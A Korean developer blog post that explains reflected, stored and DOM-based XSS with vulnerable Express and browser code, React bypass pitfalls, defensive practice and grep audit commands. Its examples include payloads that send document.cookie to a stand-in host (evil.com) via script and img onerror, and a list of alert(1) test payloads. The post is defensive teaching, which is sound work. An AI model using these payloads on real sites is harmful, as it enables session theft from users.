0513

개발

XSS, 세 가지 종류로 이해하기

| 서론

안녕하세요 팡일입니다.

웹 서비스를 만들다 보면 XSS(Cross-Site Scripting)라는 말을 반드시 만나게 됩니다. 그리고 대부분 "Reflected, Stored, DOM-based 세 종류가 있다"는 설명까지 듣고 끝납니다. 저도 그랬습니다. 이름은 외웠는데, 정작 내가 쓴 코드 중 어느 줄이 어느 XSS에 해당하는지는 몰랐습니다.

이 글은 그 간격을 메우는 것이 목적입니다. 개념 한 문단, 종류별로 실제 코드 한 조각, 그리고 올바른 방어 방향까지. 이 글만 읽고도 "XSS는 이런 거고, 이런 종류가 있고, 내 코드에서 이걸 찾아보면 되는구나"까지 도달하는 것을 목표로 했습니다.

| XSS는 "문자열이 코드로 해석되는 순간"의 문제입니다

XSS는 공격자가 넣은 문자열이 피해자의 브라우저에서 JavaScript로 실행되는 취약점입니다. 실행되면 그 사용자의 권한으로 무엇이든 할 수 있습니다. 쿠키와 토큰을 훔치고, 사용자 대신 요청을 보내고, 화면을 바꿔 비밀번호를 입력받습니다.

실행되기까지는 두 가지가 모두 필요합니다.

  • 소스(source) — 공격자가 값을 넣는 통로. URL 파라미터, 입력 폼, 데이터베이스, localStorage

  • 싱크(sink) — 문자열을 코드로 해석하는 지점. innerHTML, dangerouslySetInnerHTML, eval, href="javascript:"

여기서 가장 중요한 한 문장입니다.

싱크가 없으면 소스가 무엇이든 실행되지 않습니다.

악성 문자열이 DB에 저장돼 있어도, 그것을 HTML로 해석하는 코드가 없으면 화면에는 글자 그대로 보일 뿐입니다. 이 글의 뒷부분은 전부 이 문장의 반복입니다.

그리고 흔히 말하는 세 가지 분류는 공격 기법의 차이가 아닙니다. 페이로드가 소스에서 싱크까지 어떤 경로로 가는지의 차이일 뿐입니다.

| Reflected XSS — 요청이 그대로 되돌아옵니다

공격자가 페이로드를 URL에 담고, 서버가 그 값을 응답 HTML에 그대로 넣어 되돌려주는 경우입니다.

code
// 검색 결과 페이지
app.get("/search", (req, res) => {
  res.send(`<h1>"${req.query.q}" 검색 결과</h1>`);
  //                 ↑ URL 값을 HTML 문자열에 그대로 이어 붙였습니다
});

공격자는 이런 링크를 만들어 배포합니다.

code
<https://example.com/search?q=>fetch('//evil.com?c='+document.cookie)

피해자가 링크를 클릭하면 서버는 아래 HTML을 응답하고, 브라우저는 <script>를 정직하게 실행합니다.

HTML
<h1>"<script>fetch('//evil.com?c='+document.cookie)</script>" 검색 결과</h1>

특징: 어딘가에 저장되지 않으므로, 피해자가 그 링크를 직접 열어야 합니다. 그래서 보통 피싱 메일이나 메신저 링크와 함께 옵니다. 소스는 주로 query parameter나 path parameter입니다.

| Stored XSS — 페이로드가 데이터베이스에 남습니다

공격자가 페이로드를 저장해 두고, 그 데이터를 조회하는 모든 사용자에게서 실행되는 경우입니다.

code
// ① 저장 — 댓글 내용을 그대로 받습니다
app.post("/comments", async (req, res) => {
  await db.comments.insert({ body: req.body.body });
});

// ② 렌더 — 조회한 값을 HTML로 해석합니다
comments.forEach((c) => {
  list.innerHTML += `<li>${c.body}</li>`;
  //   ↑ 여기가 싱크입니다
});

공격자는 댓글창에 이렇게 씁니다.

code
<img src=x onerror="fetch('//evil.com?c='+document.cookie)">

src=x는 로드에 실패하고, onerror가 실행됩니다. <script> 태그를 쓰지 않아도 실행 경로는 많습니다.

특징: 세 종류 중 가장 위험합니다. 링크를 뿌릴 필요가 없고, 게시글을 열어보는 사람 모두가 피해자가 됩니다. 공격자보다 권한이 높은 사람의 화면에서 터지면 피해가 더 커집니다. 일반 사용자가 넣은 값이 관리자 화면에 렌더되는 경로가 특히 그렇습니다.

여기서 꼭 구분해야 할 것이 있습니다. "저장 가능"과 "실행 가능"은 다릅니다. 서버에 내용 검증이 없으면 <script>alert(1)</script>은 그대로 DB에 저장됩니다. 하지만 렌더가 위 예시의 innerHTML이 아니라 텍스트로 넣는 방식이라면, 화면에는 글자 그대로 보이고 실행되지 않습니다.

"저장 가능 / 실행 불가" 라는 중간 상태가 존재합니다. 지금 당장 위험하지 않다는 점에서 안심할 만하지만, 언젠가 누군가 마크다운이나 리치 텍스트 기능을 넣으면 이미 저장돼 있던 페이로드가 그 시점에 실행됩니다.방어선이 렌더 한 곳뿐이라는 뜻이기 때문입니다.

| DOM-based XSS — 서버는 아무것도 모릅니다

소스와 싱크가 모두 브라우저 안에 있는 경우입니다. 서버 코드는 완전히 결백합니다.

JavaScript
// 탭 이름을 URL 해시에서 읽어 제목에 표시합니다
const tab = location.hash.slice(1); // 소스
document.querySelector("#title").innerHTML = `${tab} 탭`; // 싱크

공격 URL은 이렇습니다.

code
<https://example.com/dashboard#>

여기서 결정적인 사실은, # 뒤의 값은 서버로 전송되지 않는다는 점입니다. 서버 로그에도 남지 않고, WAF도 보지 못하고, 서버 측 sanitize는 손댈 기회조차 없습니다. 전적으로 프런트엔드 코드의 문제입니다.

location.hash 말고도 소스는 많습니다. location.search, document.referrer, postMessage로 받은 데이터, localStorage 값 모두 같은 역할을 합니다.

| 세 가지 정리

페이로드 경로

서버 관여

피해자 조건

지속성

Reflected

URL → 서버 응답 → 화면

✅ 응답에 값을 넣음

링크를 클릭해야 함

없음

Stored

입력 → DB → 조회 → 화면

✅ 저장·조회

그냥 페이지를 열면 됨

지워야 사라짐

DOM-based

URL·저장소 → JS → DOM

❌ 모름

링크를 클릭해야 함

없음

분류가 헷갈릴 때는 이름을 외우지 말고 "페이로드가 어디를 거쳐서 왔는가" 하나만 따라가면 됩니다.

| React를 쓰면 안전한가요?

대체로 안전합니다. React는 JSX에 들어간 값을 자동으로 이스케이프하기 때문입니다.

code
<div>{comment.body}</div>

comment.body가 <img src=x onerror=alert(1)>이더라도, React는 이 값을 텍스트 노드로 삽입합니다. <는 &lt;로 바뀌어 화면에 글자 그대로 보이고, <img> 요소는 만들어지지 않습니다. aria-label 같은 속성값도 마찬가지입니다.

그래서 위험한 것은 이 자동 처리를 일부러 우회하는 코드뿐입니다.

code
// ❌ 이름 그대로, 위험합니다
<div dangerouslySetInnerHTML={{ __html: comment.body }} />

주의할 우회 경로가 두 가지 더 있습니다.

첫째, 마크다운 렌더러입니다. react-markdown은 기본적으로 마크다운 안의 원시 HTML을 렌더하지 않습니다. 그런데 rehype-raw 플러그인을 붙이면 그 방어가 사라집니다.

code
// 사용자 입력을 넣는다면 위험합니다
<ReactMarkdown rehypePlugins={[rehypeRaw]}>{userInput}</ReactMarkdown>

둘째, href에 들어가는 사용자 값입니다. 이스케이프와 무관하게 실행됩니다.

HTML
<a href={user.website}>홈페이지</a>
// user.website 가 "javascript:alert(document.cookie)" 라면 클릭 시 실행됩니다

여기서 결론을 오해하지 않는 것이 중요합니다. "React라서 안전"이 아니라 "위험한 싱크를 쓰지 않아서 안전"합니다. 프레임워크가 근거가 아니라 코드가 근거입니다.

| 그럼 입력을 필터링하면 되나요? — 아닙니다

가장 먼저 떠오르는 방어는 입력 단계에서 <, >, script 같은 문자를 지우는 것입니다. 하지만 이것은 좋은 방어가 아닙니다.

첫째, 정당한 입력을 망칩니다. 사용자가 제목에 1 < 2나 <b>강조</b>라고 쓰는 것은 정상적인 입력입니다. 그것이 화면에 글자로 그대로 보이는 게 올바른 동작입니다.

둘째, 우회 기법이 끝없습니다. <script>를 막으면 <img onerror>가 오고, <를 막으면 javascript:가 오고, 인코딩을 섞으면 또 뚫립니다. 블랙리스트로는 이길 수 없는 게임입니다.

올바른 방향은 세 줄입니다.

저장은 원문 그대로. 출력은 컨텍스트에 맞게. 검증은 서버에서 형식·타입·길이로.

1) 저장은 원문 그대로

: 사용자가 쓴 문자를 서비스가 몰래 바꾸지 않습니다.

2) 출력은 컨텍스트에 맞게

: 같은 문자열이라도 위치마다 위험한 문자가 다릅니다. HTML 본문에서는 <가, 속성값에서는 인용부호가, URL 자리에서는 스킴(javascript:)이, JS 코드 안에서는 또 다른 것이 문제입니다. React의 JSX 자동 이스케이프가 앞의 두 가지를 처리해 주기 때문에, 실무에서는 "위험한 싱크를 쓰지 않는다"가 곧 출력 방어가 됩니다. 정말 사용자에게 HTML을 허용해야 한다면 그때는 DOMPurify 같은 검증된 라이브러리로 허용목록 방식 sanitize를 하고, 직접 정규식을 짜지 않습니다.

3) 검증은 서버에서

: 프런트엔드의 maxLength는 UX 장치입니다. 공격자는 화면을 거치지 않고 API를 직접 호출합니다. 그래서 서버(혹은 Firestore 보안 규칙 같은 유일한 서버 측 방어선)에서 타입·길이·형식을 확인해야 합니다. 여기서 확인하는 것은 "악성처럼 보이는가"가 아니라 "약속된 형식인가" 입니다. 길이 상한은 XSS와 별개로, 1MB짜리 문자열을 저장해 화면을 마비시키거나 조회 비용을 늘리는 공격도 함께 막아 줍니다.

마지막으로 CSP(Content-Security-Policy) 는 1차 방어가 아니라 2차 방어선입니다. 어딘가에서 실수로 싱크가 생겼을 때 피해를 줄여 주는 안전망이지, CSP가 있으니 싱크를 써도 된다는 뜻은 아닙니다.

| 내 프로젝트를 점검하는 방법

싱크가 있는지부터 찾습니다.

code
grep -rn "dangerouslySetInnerHTML\|innerHTML\|outerHTML\|insertAdjacentHTML\|\
document\.write\|eval(\|new Function\|srcdoc\|rehype-raw" src

# DOM-based XSS 의 소스도 함께 봅니다
grep -rn "location\.hash\|location\.search\|useSearchParams\|useParams\|postMessage" src

# href / src 에 변수가 들어가는 곳
grep -rnE "href=\{|src=\{" src

여기서 판단 기준을 잘 잡아야 합니다. "이 패턴이 존재하는가"가 아니라 "사용자 입력이 거기까지 도달하는가" 입니다. innerHTML을 쓰지만 고정 문자열만 넣는다면 안전하고, 마크다운 렌더러가 있지만 입력이 빌드 시 번들되는 정적 파일이라면 사용자가 값을 넣을 통로가 없습니다.

그다음 각 입력란에 페이로드를 넣어 봅니다.

HTML
A. <script>alert(1)</script>
B. <img src=x onerror=alert(1)>
C. "><img src=x onerror=alert(1)>
D. javascript:alert(1)
E. <svg onload=alert(1)>

합격 기준은 alert가 뜨지 않는 것에서 끝나지 않습니다. DevTools의 Elements 탭에서 그 값이 요소가 아니라 텍스트 노드로 들어가 있어야 합니다. 눈에 보이지 않을 뿐 요소로 만들어진 경우도 있기 때문입니다.

| 결론

XSS의 세 종류는 결국 페이로드가 걸어온 경로의 차이였습니다. URL을 타고 되돌아오면 Reflected, 데이터베이스에 머물다 다른 사용자에게 도달하면 Stored, 서버를 아예 거치지 않고 브라우저 안에서만 움직이면 DOM-based입니다. 이름을 외우는 대신 경로를 따라가면 분류는 저절로 됩니다.

그리고 셋 모두 같은 조건에서만 성립합니다. 값을 넣을 소스가 있고, 그 값을 코드로 해석하는 싱크가 있을 때입니다. 그래서 실무의 점검은 "위험한 문자를 걸렀는가"가 아니라 "싱크가 있는가, 거기에 사용자 입력이 닿는가" 를 확인하는 일이 됩니다.

한 가지만 덧붙이고 싶습니다. 코드를 훑어보고 위험한 싱크가 하나도 없다는 결론이 나왔다면 좋은 일이지만, 그것이 우연인지 의도인지는 다른 문제입니다. 지금 안전한 이유가 문서에도 남아 있지 않다면, 몇 달 뒤 리치 텍스트 에디터를 추가하는 사람은 그 제약을 모른 채 방어선을 걷어냅니다. 그리고 이미 저장돼 있던 페이로드가 그 순간 실행됩니다.

그러니 취약점을 고치는 것만큼, "왜 안전한지"를 문서와 린트 규칙(react/no-danger)으로 고정해 두는 일도 함께 하시길 권합니다. XSS 방어에서 가장 오래 가는 조치는 대개 그쪽입니다.